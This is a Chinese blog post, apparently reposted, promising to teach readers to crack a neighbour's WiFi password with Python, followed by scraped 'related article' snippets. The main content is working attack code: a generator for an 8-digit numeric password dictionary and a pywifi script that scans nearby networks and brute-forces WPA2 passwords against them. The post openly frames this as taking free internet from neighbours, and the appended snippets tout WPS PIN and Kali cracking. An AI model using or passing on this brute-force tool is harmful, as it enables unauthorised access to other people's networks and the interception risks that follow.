隔壁家的WIFI密码如何破解?Python教你百分之百成功蹭网~

news/2024/11/25 15:57:21/

导语

图片

       我想大家对WIFI不陌生叭~WIFI是特别实用的,因为每个人的手机流量都是花钱还有限制的。一到限制流量的时候,手机就网速就卡的要死,还有周天好不容易放一天假休息打游戏。

在家的话,一家人都用同一个WiFi,打游戏这么卡的网速要被喷子喷死........

 于是,当你打开网络连接,跳出来十几个WiFi,耗光流量的你想蹭吗?网速卡到不行的你想免费蹭网吗?

那是肯定的,不知道密码也没关系,今天小编手把手教你制作一个“WiFi万能钥匙”,就能自动连接隔壁家的网啦~

图片

正文

效果图:

​​

以上基于 Python 的 GUI 图形界面开发库 Tkinter所作完成。

安装环境部分:

  本机运行环境:系统环境Win10,运行环境Python3,运行工具Pycharm

  需要Python的包有:pywifi

  这是一种暴力破解wifi的模式哈~

pip install pywifi

原理简介:

  首先要先生成一个密码字典(此步骤也可以从网上下载字典)。

       循环用密码字典的每个密码去尝试连接Wifi,直到成功。

(1)密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典。

import itertools as its
if __name__ == '__main__':words_num = "1234567890"words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"r = its.product(words_num, repeat=8)dic = open("password-8位数字.txt", "w")for i in r:dic.write("".join(i))dic.write("".join("\n"))dic.close()

(2)​暴力破解密码:

import pywififrom pywifi import const  # 引用一些定义import timedef getwifi(wifilist, wificount):wifi = pywifi.PyWiFi()  # 抓取网卡接口ifaces = wifi.interfaces()[0]  # 获取网卡ifaces.scan()time.sleep(8)bessis = ifaces.scan_results()allwifilist = []namelist = []ssidlist = []for data in bessis:if data.ssid not in namelist:  # 去掉重复的WIFI名称namelist.append(data.ssid)allwifilist.append((data.ssid, data.signal))sorted(allwifilist, key=lambda st: st[1], reverse=True)time.sleep(1)n = 0if len(allwifilist) is not 0:for item in allwifilist:if (item[0] not in ssidlist) & (item[0] not in wifilist):n = n + 1if n <= wificount:ssidlist.append(item[0])print(allwifilist)return ssidlistdef getifaces():wifi = pywifi.PyWiFi()  # 抓取网卡接口ifaces = wifi.interfaces()[0]  # 获取网卡ifaces.disconnect()  # 断开无限网卡连接return ifacesdef testwifi(ifaces, ssidname, password):profile = pywifi.Profile()  # 创建wifi连接文件profile.ssid = ssidname  # 定义wifissidprofile.auth = const.AUTH_ALG_OPEN  # 网卡的开放profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元profile.key = password  # wifi密码ifaces.remove_all_network_profiles()  # 删除其他所有配置文件tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件ifaces.connect(tmp_profile)  # 连接wifitime.sleep(5)  # 5秒内能否连接上if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef beginwork(wifinamelist):ifaces = getifaces()path = r"password-8位数字.txt"# path = r"password-常用密码.txt"files = open(path, 'r')while True:try:password = files.readline()password = password.strip('\n')if not password:breakfor wifiname in wifinamelist:print("正在尝试:" + wifiname + "," + password)if testwifi(ifaces, wifiname, password):print("Wifi账号:" + wifiname + ",Wifi密码:" + password)wifinamelist.remove(wifiname)breakif not wifinamelist:breakexcept:continuefiles.close()if __name__ == '__main__':wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字wifinames = getwifi(wifinames_e, 5)print(wifinames)beginwork(wifinames)

总结

免费上网,从此刻开始——​🎊🎊源码基地:关注小编获取哦~💝记得三连吖

 一键免费领取“WiFi万能钥匙”。


http://www.ppmy.cn/news/141947.html

相关文章

Wifi密码破解之二:利用wps漏洞穷举PIN码破解wifi密码

转自&#xff1a;http://xiao106347.blog.163.com/blog/static/21599207820136161132836/ 得到PIN码,怎么破解路由的密码呢?Linux系统下我们可以使用 Reaver 软件破解出路由的密码&#xff1b;下图是通过路由器的PIN码得到wifi密码的效果图: 已知PIN码是 49312119 破解出密码…

【转】利用kali破解wifi密码全过程

原文地址&#xff1a;http://www.secbox.cn/hacker/wireless/4877.html?utm_sourcetuicool&utm_mediumreferral 作者&#xff1a;黑色天使 QQ&#xff1a;1120620069 博客&#xff1a;http://love-lcy.blog.163.com/ 团队&#xff1a;安全盒子 —————————————…

kali攻击wifi、破解wifi密码详细教程(二)

上一个博客讲了第一种wifi攻击、破解的方法 第一种方法实用性差&#xff0c;现在的密码都很复杂&#xff0c;没有好的字典成功率会很低 所以&#xff0c;想破解成功率高一些&#xff0c;就需要破解工具了 接下来就是第二种破解wifi的方法&#xff0c;比第一种更加实用 准备…

教你以一秒钟10万+个密码的速度破解WiFi

本文中涉及的所有技术仅供个人学习、技术交流&#xff0c;禁止用于非法用途&#xff01;&#xff01;请在国家法律允许的范围内使用&#xff01;&#xff01;&#xff01; 本文中涉及的所有技术仅供个人学习、技术交流&#xff0c;禁止用于非法用途&#xff01;&#xff01;请…

kali rtl8812 使用airodump破解wifi密码

实验前提&#xff1a;安装好无线网卡。最好是kali免驱的网卡。 若不是kali免驱动网卡可借鉴以下rtl8812au操作方式 sudo apt update更新源列表apt upgrade命令将尝试下载在apt服务器上具有更新的所有软件包apt-get dist-upgrade升级系统相关依赖重启或试试以下两个驱动命令&a…

轻松掌握,板对板连接器选型指南

一、什么是板对板连接器&#xff1f; 板对板连接器(简称BTB)&#xff0c;是精密电路中电源和信号耦合连接必不可少的器件。随着产品复杂度和电路设计规模的不断提升&#xff0c;板对板连接器也沿着市场需求向着高速率&#xff0c;高功率密度&#xff0c;轻薄化几个方向发展。 …

开源赋能 普惠未来|中软国际寄语 2023 开放原子全球开源峰会

中软国际作为行业领先的全球化软件与信息技术服务企业及数字化转型服务商&#xff0c;近年来积极布局开源生态&#xff08;OpenHarmony、openEuler&#xff09;、智能云、ERP、AIGC、教育科技、智能车六大赛道&#xff0c;加速业务转型创新。 中软国际为开放原子开源基金会白金…

设计模式详解之策略模式

作者&#xff1a;刘文慧 策略模式是一种应用广泛的行为型模式&#xff0c;核心思想是对算法进行封装&#xff0c;委派给不同对象来管理&#xff0c;本文将着眼于策略模式进行分享。 一、概述 我们在进行软件开发时要想实现可维护、可扩展&#xff0c;就需要尽量复用代码&#x…